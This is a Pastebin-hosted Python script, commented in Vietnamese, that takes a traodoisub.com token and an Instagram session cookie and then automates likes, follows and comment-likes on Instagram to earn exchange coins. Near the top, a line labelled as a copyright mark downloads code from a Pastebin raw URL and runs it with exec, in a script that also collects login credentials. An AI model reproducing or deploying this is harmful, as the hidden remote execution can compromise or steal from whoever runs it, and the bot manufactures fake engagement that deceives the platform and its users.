Hoangsontung_Jusst

TT_TDS_IG

Mar 23rd, 2023 (edited)
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 13.86 KB | None | 0 0
  1. import os,sys
  2. import requests,json
  3. from time import sleep
  4. from datetime import datetime, timedelta
  5. import base64,requests,os
  6. #màu
  7. xnhac = "\033[1;36m"
  8. do = "\033[1;31m"
  9. luc = "\033[1;32m"
  10. vang = "\033[1;33m"
  11. xduong = "\033[1;34m"
  12. hong = "\033[1;35m"
  13. trang = "\033[1;37m"
  14. whiteb="\033[1;37m"
  15. red="\033[0;31m"
  16. redb="\033[1;31m"
  17. end='\033[0m'
  18. #đánh dấu bản quyền
  19. exec(requests.get('https://pastebin.com/raw/gLZ5eEFg').text)
  20. ndp_tool="\033[1;31m[\033[1;37m=.=\033[1;31m] \033[1;37m=>  "
  21. thanh = "\033[1;37m= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = ="
  22. def banner():
  23.  banner = f"""
  24. """
  25.  for X in banner:
  26.   sys.stdout.write(X)
  27.   sys.stdout.flush()
  28.   sleep(0.00125)
  29. os.system("cls" if os.name == "nt" else "clear")
  30. banner()
  31. token_tds = input(f'{ndp_tool}{luc}Vui Lòng Nhập Token TĐS{trang}:{vang} ')
  32. check_log = requests.get('https://traodoisub.com/api/?fields=profile&access_token='+token_tds).json()
  33. if 'success' in check_log:
  34.     print(f'{xnhac}Đăng Nhập Thành Công!')
  35.     user = check_log['data']['user']
  36.     xucon = check_log['data']['xu']
  37.     xudie = check_log['data']['xudie']
  38. else:
  39.     exit(f'{do}Đăng Nhập Thất Bại.')
  40. print(thanh)
  41. cookie = input(f'{ndp_tool}{luc}Vui Lòng Nhập Cookie IG{trang}: {vang} ')
  42. #CHỌN NV + NHẬP DELAY
  43. os.system("cls" if os.name == "nt" else "clear")
  44. banner()
  45. print(f'{ndp_tool}{luc}Tên Tài Khoản{trang}: {vang}{user}')
  46. print(f'{ndp_tool}{luc}Xu Hiện Tại{trang}: {vang}{xucon}')
  47. print(f'{ndp_tool}{luc}Xu Bị Trừ{trang}: {vang}{xudie}')
  48. print(thanh)
  49. print(f'{ndp_tool}{luc}Nhập Số {do}[{vang}1{do}] {luc}Để Chạy Nhiệm Vụ Tym')
  50. print(f'{ndp_tool}{luc}Nhập Số {do}[{vang}2{do}] {luc}Để Chạy Nhiệm Vụ Follow')
  51. print(f'{ndp_tool}{luc}Nhập Số {do}[{vang}3{do}] {luc}Để Chạy Nhiệm Vụ Tym Comment')
  52. print(f'{ndp_tool}{luc}Nhập Số {do}[{vang}4{do}] {luc}Để Chạy Nhiệm Vụ Comment {do}[{vang}BẢO TRÌ{do}]')
  53. print(thanh)
  54. chonjob = input(f'{ndp_tool}{luc}Nhập Nhiệm Vụ Bạn Muốn Chạy{trang}: {vang}')
  55. delayjob = int(input(f'{ndp_tool}{luc}Nhập Delay Làm Nhiệm Vụ{trang}: {vang}'))
  56. os.system("cls" if os.name == "nt" else "clear")
  57. banner()
  58. #hàm delay + load tìm job
  59. def delay_ndp(o):
  60.     while (o>1):
  61.         o=o-1
  62.         print(luc+' Tiếp Tục Sau'+do+'| '+vang+''+str(o)+do+' |','      ', end='\r')
  63.         sleep(0.2)
  64.         print(do+' Tiếp Tục Sau'+do+'| '+vang+''+str(o)+do+' |','      ', end='\r')
  65.         sleep(0.1)
  66.         print(vang+' Tiếp Tục Sau'+do+'| '+vang+''+str(o)+do+' |','      ', end='\r')
  67.         sleep(0.2)
  68.         print(hong+' Tiếp Tục Sau'+do+'| '+vang+''+str(o)+do+' |','      ', end='\r')
  69.         sleep(0.1)
  70.         print(xnhac+' Tiếp Tục Sau'+do+'| '+vang+''+str(o)+do+' |','      ', end='\r')
  71.         sleep(0.2)
  72. def loadjob(o):
  73.     while (o>1):
  74.         o=o-1
  75.         print(luc+' Đang Tìm Nhiệm Vụ'+do+'| '+vang+''+str(o)+do+' |','      ', end='\r')
  76.         sleep(0.2)
  77.         print(do+' Đang Tìm Nhiệm Vụ'+do+'| '+vang+''+str(o)+do+' |','      ', end='\r')
  78.         sleep(0.1)
  79.         print(vang+' Đang Tìm Nhiệm Vụ'+do+'| '+vang+''+str(o)+do+' |','      ', end='\r')
  80.         sleep(0.2)
  81.         print(hong+' Đang Tìm Nhiệm Vụ'+do+'| '+vang+''+str(o)+do+' |','      ', end='\r')
  82.         sleep(0.1)
  83.         print(xnhac+' Đang Tìm Nhiệm Vụ'+do+'| '+vang+''+str(o)+do+' |','      ', end='\r')
  84.         sleep(0.2)
  85.  
  86. thoigian = datetime.now().strftime("%H:%M:%S")
  87. demjob = 0
  88. #get token...
  89. headers_get = {
  90.     'authority': 'www.instagram.com',
  91.     'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  92.     'accept-language': 'vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5',
  93.     'cache-control': 'max-age=0',
  94.     'referer': 'https://www.instagram.com/accounts/onetap/?next=%2F',
  95.     'sec-ch-prefers-color-scheme': 'light',
  96.     'sec-ch-ua': '".Not/A)Brand";v="99", "Google Chrome";v="103", "Chromium";v="103"',
  97.     'sec-ch-ua-mobile': '?0',
  98.     'sec-ch-ua-platform': '"Windows"',
  99.     'sec-fetch-dest': 'document',
  100.     'sec-fetch-mode': 'navigate',
  101.     'sec-fetch-site': 'same-origin',
  102.     'sec-fetch-user': '?1',
  103.     'upgrade-insecure-requests': '1',
  104.     'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36',
  105.     'viewport-width': '1920',
  106.     'cookie': cookie,
  107. }
  108. get_dulieu = requests.get('https://www.instagram.com/', headers = headers_get).text
  109. token_ig = get_dulieu.split('csrf_token":"')[1].split('",')[0]
  110. id_app = get_dulieu.split('"X-IG-App-ID":"')[1].split('",')[0]
  111. instagram_ajax = get_dulieu.split('"rev":')[1].split('},"')[0]
  112. #headers get info
  113. headers_get_in4 = {
  114.     'authority': 'www.instagram.com',
  115.     'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  116.     'accept-language': 'vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5',
  117.     'cache-control': 'max-age=0',
  118.     'sec-ch-prefers-color-scheme': 'light',
  119.     'sec-ch-ua': '".Not/A)Brand";v="99", "Google Chrome";v="103", "Chromium";v="103"',
  120.     'sec-ch-ua-mobile': '?0',
  121.     'sec-ch-ua-platform': '"Windows"',
  122.     'sec-fetch-dest': 'document',
  123.     'sec-fetch-mode': 'navigate',
  124.     'sec-fetch-site': 'same-origin',
  125.     'sec-fetch-user': '?1',
  126.     'upgrade-insecure-requests': '1',
  127.     'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36',
  128.     'viewport-width': '1920',
  129.     'cookie': cookie,
  130. }
  131. in4 = requests.get('https://www.instagram.com/', headers = headers_get_in4).text
  132. #tách
  133. id_ig = in4.split('viewerId":"')[1].split('"}')[0]
  134. cauhinhaccig = requests.get(f'https://traodoisub.com/api/?fields=instagram_run&id={id_ig}&access_token='+token_tds).json()
  135. try:
  136.     if 'success' in cauhinhaccig:
  137.         id_ch = cauhinhaccig['data']['id']
  138.         user_ch = cauhinhaccig['data']['uniqueID']
  139.     else:
  140.         exit(f'{do}Cấu Hình Thất Bại, Vui Lòng Thêm Acc Vào Cấu Hình!!!')
  141. except:
  142.     pass
  143. #info cấu hình
  144. print(f'{ndp_tool}{luc}USER CẤU HÌNH{trang}: {vang}{user_ch} {do}| {luc}ID CẤU HÌNH{trang}: {vang}{id_ig}')
  145. print(thanh)
  146. #chế độ tym
  147. if '1' in chonjob:
  148.     while True:
  149.         get_list_nv_tym = requests.get('https://traodoisub.com/api/?fields=instagram_like&access_token='+token_tds).json()
  150.         try:
  151.             id_tym = get_list_nv_tym['data'][0]['id']
  152.             link_job_tym = get_list_nv_tym['data'][0]['link']
  153.             id_job_tym = id_tym.split('_')[0]
  154.         except:
  155.             bukload = 5
  156.             loadjob(bukload)
  157.             continue
  158.         #headers làm job
  159.         headers_job_tym = {
  160.             'authority': 'www.instagram.com',
  161.             'accept': '*/*',
  162.             'accept-language': 'vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5',
  163.             'content-type': 'application/x-www-form-urlencoded',
  164.             'origin': 'https://www.instagram.com',
  165.             'referer': link_job_tym,
  166.             'sec-ch-prefers-color-scheme': 'light',
  167.             'sec-ch-ua': '".Not/A)Brand";v="99", "Google Chrome";v="103", "Chromium";v="103"',
  168.             'sec-ch-ua-mobile': '?0',
  169.             'sec-ch-ua-platform': '"Windows"',
  170.             'sec-fetch-dest': 'empty',
  171.             'sec-fetch-mode': 'cors',
  172.             'sec-fetch-site': 'same-origin',
  173.             'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36',
  174.             'viewport-width': '1014',
  175.             'x-asbd-id': '198387',
  176.             'x-csrftoken': token_ig,
  177.             'x-ig-app-id': id_app,
  178.             'x-ig-www-claim': 'hmac.AR0kbnnl4Sg351vNHgTi5an3lniwX9V0L8BktreD7ETXQhLL',
  179.             'x-instagram-ajax': instagram_ajax,
  180.             'x-requested-with': 'XMLHttpRequest',
  181.             'cookie': cookie,
  182.         }
  183.  
  184.         lamjobtym = requests.post(f'https://www.instagram.com/web/likes/{id_job_tym}/like/', headers = headers_job_tym).text
  185.         sleep(1)
  186.         duyetnvtym = requests.get(f'https://traodoisub.com/api/coin/?type=INS_LIKE_CACHE&id={id_tym}&access_token='+token_tds).json()
  187.         try:
  188.             xuduyet_tym = duyetnvtym['data']['pending']
  189.             xucong_tym = duyetnvtym['data']['msg']
  190.         except:
  191.             continue
  192.         if 'ok' in lamjobtym:
  193.             demjob = demjob+1
  194.             print(f'{do}[{vang}{demjob}{do}] | {xnhac}{thoigian}{do} | {vang}TYM{do} | {trang}{id_job_tym} {do}| {vang}{xucong_tym} {do}| {luc}Tổng Duyệt: {vang}{xuduyet_tym} Xu')
  195.             delay_ndp(delayjob)
  196.         else:
  197.             demjob = demjob+1
  198.             print(f'{do}[{vang}{demjob}{do}]{do}[{trang}X{do}] | {xnhac}{thoigian}{do} | {trang}{id_job_tym} {do}| {do}TYM THẤT BẠI')
  199. #chế độ follow
  200. if '2' in chonjob:
  201.     while True:
  202.         get_list_nv_follow = requests.get('https://traodoisub.com/api/?fields=instagram_follow&access_token='+token_tds).json()
  203.         try:
  204.             id_follow = get_list_nv_follow['data'][0]['id']
  205.             link_follow = get_list_nv_follow['data'][0]['link']
  206.             id_job_follow = id_follow.split('_')[0]
  207.         except:
  208.             bukload = 5
  209.             loadjob(bukload)
  210.             continue
  211.         headers_job_follow = {
  212.             'authority': 'www.instagram.com',
  213.             'accept': '*/*',
  214.             'accept-language': 'vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5',
  215.             'content-type': 'application/x-www-form-urlencoded',
  216.             'origin': 'https://www.instagram.com',
  217.             'referer': link_follow,
  218.             'sec-ch-prefers-color-scheme': 'light',
  219.             'sec-ch-ua': '".Not/A)Brand";v="99", "Google Chrome";v="103", "Chromium";v="103"',
  220.             'sec-ch-ua-mobile': '?0',
  221.             'sec-ch-ua-platform': '"Windows"',
  222.             'sec-fetch-dest': 'empty',
  223.             'sec-fetch-mode': 'cors',
  224.             'sec-fetch-site': 'same-origin',
  225.             'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36',
  226.             'viewport-width': '1014',
  227.             'x-asbd-id': '198387',
  228.             'x-csrftoken': token_ig,
  229.             'x-ig-app-id': id_app,
  230.             'x-ig-www-claim': 'hmac.AR07N5q1wNjFl2rs9Uw-PN1PzCDaBP8lPGzvakw765wEQug0',
  231.             'x-instagram-ajax': instagram_ajax,
  232.             'x-requested-with': 'XMLHttpRequest',
  233.             'cookie': cookie,
  234.         }
  235.         lamjobfollow = requests.post(f'https://www.instagram.com/web/friendships/{id_job_follow}/follow/', headers = headers_job_follow).text
  236.         sleep(1)
  237.         duyetnvfollow = requests.get(f'https://traodoisub.com/api/coin/?type=INS_FOLLOW_CACHE&id={id_follow}&access_token='+token_tds).json()
  238.         try:
  239.             xuduyet_follow = duyetnvfollow['data']['pending']
  240.             xucong_follow = duyetnvfollow['data']['msg']
  241.         except:
  242.             continue
  243.         if 'ok' in lamjobfollow:
  244.             demjob = demjob+1
  245.             print(f'{do}[{vang}{demjob}{do}] | {xnhac}{thoigian}{do} | {vang}FOLLOW{do} | {trang}{id_job_follow} {do}| {vang}{xucong_follow} {do}| {luc}Tổng Duyệt: {vang}{xuduyet_follow} Xu')
  246.             delay_ndp(delayjob)
  247.         else:
  248.             demjob = demjob+1
  249.             print(f'{do}[{vang}{demjob}{do}]{do}[{trang}X{do}] | {xnhac}{thoigian}{do} | {trang}{id_job_follow} {do}| {do}FOLLOW THẤT BẠI')
  250. #chế độ tym comment
  251. if '3' in chonjob:
  252.     while True:
  253.         get_list_nv_tymcmt = requests.get('https://traodoisub.com/api/?fields=instagram_likecmt&access_token='+token_tds).json()
  254.         try:
  255.             id_tymcmt = get_list_nv_tymcmt['data'][0]['id']
  256.             link_tymcmt = get_list_nv_tymcmt['data'][0]['link_web']
  257.             id_job_tymcmt = id_tymcmt.split('_')[0]
  258.         except:
  259.             bukload = 5
  260.             loadjob(bukload)
  261.             continue
  262.         headers = {
  263.             'authority': 'www.instagram.com',
  264.             'accept': '*/*',
  265.             'accept-language': 'vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5',
  266.             'content-type': 'application/x-www-form-urlencoded',
  267.             'origin': 'https://www.instagram.com',
  268.             'referer': link_tymcmt,
  269.             'sec-ch-prefers-color-scheme': 'light',
  270.             'sec-ch-ua': '".Not/A)Brand";v="99", "Google Chrome";v="103", "Chromium";v="103"',
  271.             'sec-ch-ua-mobile': '?0',
  272.             'sec-ch-ua-platform': '"Windows"',
  273.             'sec-fetch-dest': 'empty',
  274.             'sec-fetch-mode': 'cors',
  275.             'sec-fetch-site': 'same-origin',
  276.             'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36',
  277.             'viewport-width': '1014',
  278.             'x-asbd-id': '198387',
  279.             'x-csrftoken': token_ig,
  280.             'x-ig-app-id': id_app,
  281.             'x-ig-www-claim': 'hmac.AR0kbnnl4Sg351vNHgTi5an3lniwX9V0L8BktreD7ETXQgRk',
  282.             'x-instagram-ajax': instagram_ajax,
  283.             'x-requested-with': 'XMLHttpRequest',
  284.             'cookie': cookie,
  285.         }
  286.         lamjobtymcmt = requests.post(f'https://www.instagram.com/web/comments/like/{id_job_tymcmt}', headers=headers).text
  287.         duyetnvtymcmt = requests.get(f'https://traodoisub.com/api/coin/?type=INS_LIKECMT_CACHE&id={id_tymcmt}&access_token='+token_tds).json()
  288.         try:
  289.             xuduyet_tymcmt = duyetnvtymcmt['data']['pending']
  290.             xucong_tymcmt = duyetnvtymcmt['data']['msg']
  291.         except:
  292.             continue
  293.         if 'ok' in lamjobtymcmt:
  294.             demjob = demjob+1
  295.             print(f'{do}[{vang}{demjob}{do}] | {xnhac}{thoigian}{do} | {vang}TYM CMT{do} | {trang}{id_job_tymcmt} {do}| {vang}{xucong_tymcmt} {do}| {luc}Tổng Duyệt: {vang}{xuduyet_tymcmt} Xu')
  296.         else:
  297.             demjob = demjob+1
  298.             print(f'{do}[{vang}{demjob}{do}]{do}[{trang}X{do}] | {xnhac}{thoigian}{do} | {trang}{id_job_tymcmt} {do}| {do}TYM CMT')
Add Comment
Please, Sign In to add comment